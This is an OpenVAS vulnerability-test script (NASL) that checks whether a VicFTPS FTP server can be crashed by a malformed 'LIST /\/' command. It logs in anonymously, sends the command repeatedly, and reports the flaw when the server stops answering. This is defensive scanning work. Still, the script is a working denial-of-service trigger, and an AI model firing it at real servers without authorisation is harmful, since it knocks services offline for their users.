###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_vicftps_list_dos_vuln.nasl 2778 2009-06-25 16:37:32Z jun $
#
# VicFTPS LIST Command Denial of Service Vulnerability
#
# Authors:
# Nikita MR <rnikita@secpod.com>
#
# Copyright:
# Copyright (c) 2009 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(900580);
  script_version("$Revision: 1.0 $");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"risk_factor", value:"Medium");
  script_cve_id("CVE-2008-6829", "CVE-2008-2031");
  script_bugtraq_id(28967);
  script_name("VicFTPS LIST Command Denial of Service Vulnerability");
  desc = "

  Overview: This host is running VicFTPS FTP Server which is prone to Denial
  of Service Vulnerability.

  Vulnerability Insight:
  A NULL pointer dereference error exists while processing malformed arguments
  passed to a LIST command that starts with a '/\/' (forward slash, backward
  slash, forward slash).

  Impact:
  Successful exploitation allows attackers to execute arbitrary code, and can
  crash the affected application.

  Impact Level: Application

  Affected Software/OS:
  VicFTPS Version 5.0 and prior on Windows.

  Fix: No solution/patch is available as on 25th June, 2009. Information
  regarding this issue will updated once the solution details are available.
  For updates refer, http://vicftps.50webs.com/

  References:
  http://milw0rm.com/exploits/6834
  http://secunia.com/advisories/29943

  CVSS Score:
    CVSS Base Score     : 5.0 (AV:N/AC:L/Au:NR/C:N/I:N/A:P)
    CVSS Temporal Score : 4.5
  Risk factor: Medium";

  script_description(desc);
  script_summary("Check for the Attack of VicFTPS Server");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2009 SecPod");
  script_family("Denial of Service");
  script_dependencies("find_service.nes");
  script_require_ports("Services/ftp", 21);
  exit(0);
}


include("ftp_func.inc");
include("version_func.inc");

vicPort = get_kb_item("Services/ftp");
if(!vicPort){
  vicPort = 21;
}

if(!get_port_state(vicPort)){
  exit(0);
}

if(safe_checks() || "VicFTPS" >!< get_ftp_banner(port:vicPort)){
  exit(0);
}

soc = open_sock_tcp(vicPort);
if(!soc){
  exit(0);
}

# Authenticate with anonymous user (Before crash)
if(!ftp_authenticate(socket:soc, user:"anonymous", pass:"anonymous")){
  exit(0);
}

for(i = 0; i < 3; i++)
{
  cmd = "LIST /\/";
  ftp_send_cmd(socket:soc, cmd:cmd);
  sleep(5);
  ftp_close(soc);

  # Check for VicFTPS Service Status
  soc = open_sock_tcp(vicPort);
  if(!soc)
  {
     security_warning(vicPort);
     exit(0);
  }
  else
  {
    if(!ftp_authenticate(socket:soc, user:"anonymous", pass:"anonymous"))
    {
      security_warning(vicPort);
      ftp_close(soc);
      exit(0);
    }
  }
}
